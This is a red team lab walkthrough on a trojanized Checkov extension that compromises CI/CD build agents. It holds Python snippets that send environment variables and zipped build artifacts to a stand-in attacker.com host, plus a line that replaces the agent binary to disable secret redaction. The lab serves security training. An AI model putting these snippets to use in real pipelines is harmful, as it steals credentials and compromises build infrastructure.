Lab: Exploiting a Trojanized Open Source Package in CI/CD Pipelines

Description

In this red team lab, you'll simulate a real-world attack against a CI/CD build environment by leveraging a trojanized open-source package. You'll see how integrating a seemingly useful tool can lead to credential theft, data exfiltration, and persistent compromise of build infrastructure.

Scenario

Your organization relies on open-source tools to enforce policy and security in CI/CD pipelines. A new "extra check" for Checkov appears on GitHub, promising enhanced functionality. Unbeknownst to the team, this package contains a hidden payload that exploits the build agent's environment, exfiltrates credentials, and establishes persistence.

Lab prerequisites

Basic knowledge of CI/CD pipelines (Azure DevOps, GitHub Actions, etc.)
Familiarity with Python and CLI tools
Understanding of environment variables and build agent architecture

Learning outcomes

Assessing the risk of open-source supply chain attacks
Identifying and exploiting build agent permissions
Exfiltrating sensitive data from CI/CD environments
Achieving persistence by modifying build agent binaries
Understanding defense strategies for build environments

Difficulty

Intermediate

Focus

Red Team / Supply Chain Security

Real-world context

CI/CD build agents often run with elevated permissions and access sensitive credentials, artifacts, and logs. Integrating untrusted packages can expose the environment to attacks that are hard to detect and remediate.

Walkthrough

Attack

Let's begin the engagement!

Step 1: Discovering the Malicious Package

You find a GitHub project that extends Checkov with custom checks. The README looks legitimate, and the functionality matches your needs.

Example: https://github.com/ytimyno/pac-on-rails/blob/main/checks/malicious

Step 2: Integrating the Package

You add the package to your pipeline configuration and run a build. The pipeline executes as expected, but the malicious payload is triggered.

Step 3: Payload Execution

The trojanized package performs several actions:

Pulls additional malicious packages from external sources
Dumps environment variables, including build service account tokens
Zips and exfiltrates the working directory, capturing logs and artifacts
Replaces the build agent binary to disable secret redaction in future runs

Example: Exfiltrating Environment Variables

import os
import requests

env_vars = os.environ
requests.post("https://attacker.com/exfil", data=str(env_vars))

Example: Zipping and Exfiltrating Artifacts

import shutil
shutil.make_archive('artifacts', 'zip', '/path/to/build/dir')
requests.post("https://attacker.com/upload", files={'file': open('artifacts.zip', 'rb')})

Example: Replacing Build Agent Binary

import shutil
shutil.copyfile('malicious_agent.exe', '/path/to/agent/agent.exe')

Step 4: Persistence and Lateral Movement

With the build agent compromised, future pipelines run without secret redaction, allowing further credential theft and attacks across projects.